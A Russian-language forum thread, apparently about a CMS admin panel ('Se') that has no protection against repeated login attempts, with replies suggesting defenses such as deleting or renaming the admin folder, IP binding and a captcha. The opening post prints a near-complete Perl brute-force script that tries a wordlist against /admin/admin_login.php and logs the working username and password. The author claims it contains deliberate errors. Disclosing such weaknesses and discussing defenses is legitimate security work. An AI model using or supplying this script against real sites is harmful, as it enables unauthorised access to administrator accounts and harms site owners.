Защита админки (Брут perl)

Всем привет!

Ветки форума по безопасности не нашел, поэтому пишу тут.

И так начнем, админка в Se находится по адресу http://site.com/admin/admin_login.php все знают . Если посмотреть, то зашиты от брута там нет и в форму входа можно подставлять связку логин+пасс бесконечно много раз (НЕ предусмотрен даже бан например как на Вобле или других форума и CMS).

И так не долго думая решил написать брут выглядит он примерно так.
[SPOILER]#!/usr/bin/perl
### bruter for SE by n0byk icq 300436 ####
use IO::Socket;
$|++;
$server="сервер";
$port="порт";
$logfile="куда сохранить логин+пасс";
$words="словарь";
$user="Юзер";
$dir="/admin/admin_login.php";

open(file, "$words") or die print "$!\n";
@data=<file>;
$total=@data;
close file;
foreach $pass (@data) {
$i++;
chomp($pass);
$socket=IO::Socket::INET->new(PeerAddr => $server,
PeerPort => $port,
Proto => tcp)
or die print "Unable to connect to $server:$port\n";
$socket->autoflush(1);

$post="username=$user&passw0rd=$pass&";
$len=length($post);
$len+=1;
print $socket "POST $dir HTTP/1.1\r\n";
print $socket "Host: $server\r\n";;
print $socket "Content-Type: application/x-www-form-urlencoded\r\n";
print $socket "Connection: Close\r\n";
print $socket "Content-Length: $len\r\n";
print $socket "\r\n$post\r\n";

$socket->recv($answer,1024);
##print "$answer \n";
if ($answer=~/302 Found/)
{
open(logf, ">>$logfile") or die print "$!\n";
print logf "$user $pass\n";
close logf;
close($socket);
print "$user $pass\n";
exit 0;
}
}[/SPOILER]
В коде умышленно сделаны ошибки, знающие люди исправят 100% (сделано для зашиты от школоты и etc)

Меры предосторожности.
1) удалить директорию admin и заливать при необходимости - самое простое
2) доработки в коде...

Вообщем вот написал кротка, думаю все понятно)))

Для защиты админки придумана привязка по ип на папку м куда будет ломиться брут интересно тогда?

afsun,

Давайте так, Это уязвимость и серьезная, способов зашиты конечно море... спору тоже нет.

ЗЫ. у многих ip динамический а запороленные дерриктории тоже брутятся нет вопросов....

зы2. на момент написания вашего поста у Вас стояла привязка по ip на папку?
Я о том, что о мерах зашиты никто не думает, а скрипт вот он....

---------- Сообщение добавлено в 21:45 ---------- Предыдущее сообщение было в 21:35 ----------

И идея для Админов сайта, может сделать ветку форума в которой будут обсуждаться баги , уязвимости скрипта?

Gooos,
Можно, но это просто затруднит поиски админки (папки) форма входа та же самая...

а если перемеиновать папку admin во что нибудь более супер сложное...это подойдет? просто влом как то каждый раз закачивать админку и удалять...)

Есть идея капчу поставить... Этим и займусь завтро, как сделаю выложу....

С первого дня существ. проекта.